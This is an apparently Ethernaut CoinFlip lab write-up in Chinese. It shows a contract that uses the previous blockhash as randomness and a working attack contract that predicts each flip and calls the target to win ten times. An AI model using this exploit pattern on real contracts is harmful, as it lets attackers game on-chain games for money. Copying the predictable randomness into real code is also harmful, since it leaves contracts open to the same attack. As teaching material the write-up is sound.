原始代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

翻硬币,以 block.number 为随机种子。

目标:连续猜对 10 次。

攻击思路

区块链是 Deterministic 的,不能够产生随机数。

在一个区块内, block.number 是一个公开且确定的值。

因此,可以考虑提前在本地计算出硬币将会出现的面。

攻击代码

因为所有的操作要在一个区块内完成,本关卡无法在控制台中逐个发送交易完成,需要写合约。

为了获取目标合约的接口,可以直接拷贝其源代码。

因为目标合约设计为一个区块内只能翻一次,否则就会 revert

所以手动调用 run() 十次,即可通关。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

contract CoinFlip {

    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

contract CoinFlipHack{

    address immutable owner;
    address constant TARGET = 0x3A31B875ed14AAC78D56CAAA35544644C33A6952;
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip target;

    constructor() {
        owner = msg.sender;
        target = CoinFlip(TARGET);
    }
    
    modifier onlyOwner(){
        if(msg.sender != owner){
            revert("Not Owner");
        }
        _;
    }

    function run() public onlyOwner{
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}